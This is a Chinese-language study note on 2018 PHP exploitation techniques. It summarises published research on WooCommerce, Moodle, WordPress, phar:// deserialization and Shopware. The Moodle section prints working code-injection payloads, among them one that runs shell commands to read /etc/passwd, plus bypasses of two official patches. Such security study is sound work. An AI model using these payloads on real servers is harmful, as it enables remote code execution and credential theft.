2018最新PHP漏洞利用技巧

0x00 综述

本文学习了几种新式的php exploit方法,在此做一笔记

  • 文件删除漏洞, unlink()
  • Phar 反序列化, file*()
  • PHP对象实例化, ReflectionClass()

0x01 WordPress Design Flaw Leads to WooCommerce RCE

WooCommerce 3.4.6本版本之前存在任意删除漏洞,因为WordPress的设计缺陷将导致整站被接管。

设计缺陷:

  • WooCommerce插件被关闭之后edit_users权限依旧存在
  • 但是插件的disallow_editing_of_admins过滤器不会再被触发
  • 一般只有administrators可以关闭插件,(但是我们这里有任意文件删除,相当于关闭了插件)

参考:
https://blog.ripstech.com/2018/wordpress-design-flaw-leads-to-woocommerce-rce/

0x02 Moodle < 3.5.0

Code Injection

首先,教师角色是必须的(可以利用xss得到)

使用了eval函数

1
2
3
4
5
6
7
8
9
10
public function substitute_variables_and_eval($str, $dataset) {
// substitues {x} and {y} for numbers like 1.2 with str_replace():
$formula = $this->substitute_variables($str, $dataset);
if ($error = qtype_calculated_find_formula_errors($formula)) {
return $error; // formula security mechanism
}
$str=null;
eval('$str = '.$formula.';'); // dangerous eval()-call
return $str;
}

但是有过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function qtype_calculated_find_formula_errors($formula) {
// Returns false if everything is alright
// otherwise it constructs an error message.
// Strip away dataset names.
while (preg_match('~\\{[[:alpha:]][^>} <{"\']*\\}~', $formula, $regs)){
$formula = str_replace($regs[0], '1', $formula);
}
// Strip away empty space and lowercase it.
$formula = strtolower(str_replace(' ', '', $formula));
$safeoperatorchar = '-+/*%>:^\~<?=&|!'; /* */
$operatorornumber = "[{$safeoperatorchar}.0-9eE]";
// [...]
if (preg_match("~[^{$safeoperatorchar}.0-9eE]+~", $formula, $regs)) {
return get_string('illegalformulasyntax','qtype_calculated',$regs[0]);
} else {
// Formula just might be valid.
return false;
}
}

bypass过滤
屏幕快照 2018-11-13 下午9.06.43.png

payload

1
2
3
4
1.{a.`$_GET[0]`}
2. /*{a*/`$_GET[0]`;//{x}}
=> 0=(date;cat/etc/passwd)>../hi.txt

bypass官方补丁

1.Blacklist

补丁说明:循环检测输入中是否存在//,/*,#

1
2
3
4
5
6
7
8
function qtype_calculated_find_formula_errors($formula) {
foreach (['//', '/*', '#'] as $commentstart) {
if (strpos($formula, $commentstart) !== false) {
return get_string('illegalformulasyntax',
'qtype_calculated',
$commentstart);
}
}

payload

1
1?><?=log(1){a.`$_GET[0]`.({x})}?>

2.拒绝使用占位符嵌套

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function find_dataset_names($text) {
// Returns the possible dataset names found in the text as an array.
// The array has the dataset name for both key and value.
if (preg_match_all('~\\{([[:alpha:]][^>} <{"\']*)\\}~',$text,$regs)) {
$datasetnames = array_unique($regs[1]);
return array_combine($datasetnames, $datasetnames);
} else {
return [];
}
}
// [...]
function qtype_calculated_find_formula_errors($formula) {
$datasetnames = find_dataset_names($formula);
foreach ($datasetnames as $datasetname) {
$formula = str_replace('{'.$datasetname.'}', '1', $formula);
}

payload

1
/*{x}{a*/`$_GET[0]`/*(1)//}{a*/`$_GET[0]`/*({x})//}*/

3.黑名单+线性替换

控制xml实现

参考:

https://blog.ripstech.com/2018/moodle-remote-code-execution/

0x03 WordPress File Delete to Code Execution

影响范围: =<4.9.6

前提:拥有媒体文件的删除权限(只能利用其它漏洞或者错误配置来取得)

删除目标:

.htaccess 有时其中会包含一些安全策略(比如:访问某些文件夹的权限),删除后会是安全策略无效。

index.php files 一般这个文件是空的,主要是为了防止列目录,被删除了就有可能去列目录了。

wp-config.php 这个删除了,WordPress就要被重装了。

参考:https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/

0x04 Phar:// Deserialization

敏感点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
include('phar://test.phar');
file_get_contents('phar://test.phar');
file_put_contents('phar://test.phar', '');
copy('phar://test.phar', '');
include('phar://test.phar');
file_get_contents('phar://test.phar');
file_put_contents('phar://test.phar', '');
copy('phar://test.phar', '');
file_exists('phar://test.phar');
is_executable('phar://test.phar');
is_file('phar://test.phar');
is_dir('phar://test.phar');
is_link('phar://test.phar');
is_writable('phar://test.phar');
fileperms('phar://test.phar');
fileinode('phar://test.phar');
filesize('phar://test.phar');
fileowner('phar://test.phar');
filegroup('phar://test.phar'); fileatime('phar://test.phar');
filemtime('phar://test.phar');
filectime('phar://test.phar');
filetype('phar://test.phar');
getimagesize('phar://test.phar');
exif_read_data('phar://test.phar');
stat('phar://test.phar');
lstat('phar://test.phar');
touch('phar://test.phar‘);
md5_file('phar://test.phar');

可以参考:

https://blog.ripstech.com/2018/new-php-exploitation-technique/

http://seaii-blog.com/index.php/2018/08/23/86.html

https://www.anquanke.com/post/id/157657

https://www.anquanke.com/post/id/157439

0x05 Shopware < 5.3.4 PHP Object Instantiation to XXE to RCE

影响范围:Shopware version <= 5.3.3 and >= 5.1

XSS→POI→XMLi→XXE→PHAR→POI→POP→RCE

参考:
https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/

突然发现有人翻译过
https://www.freebuf.com/vuls/154415.html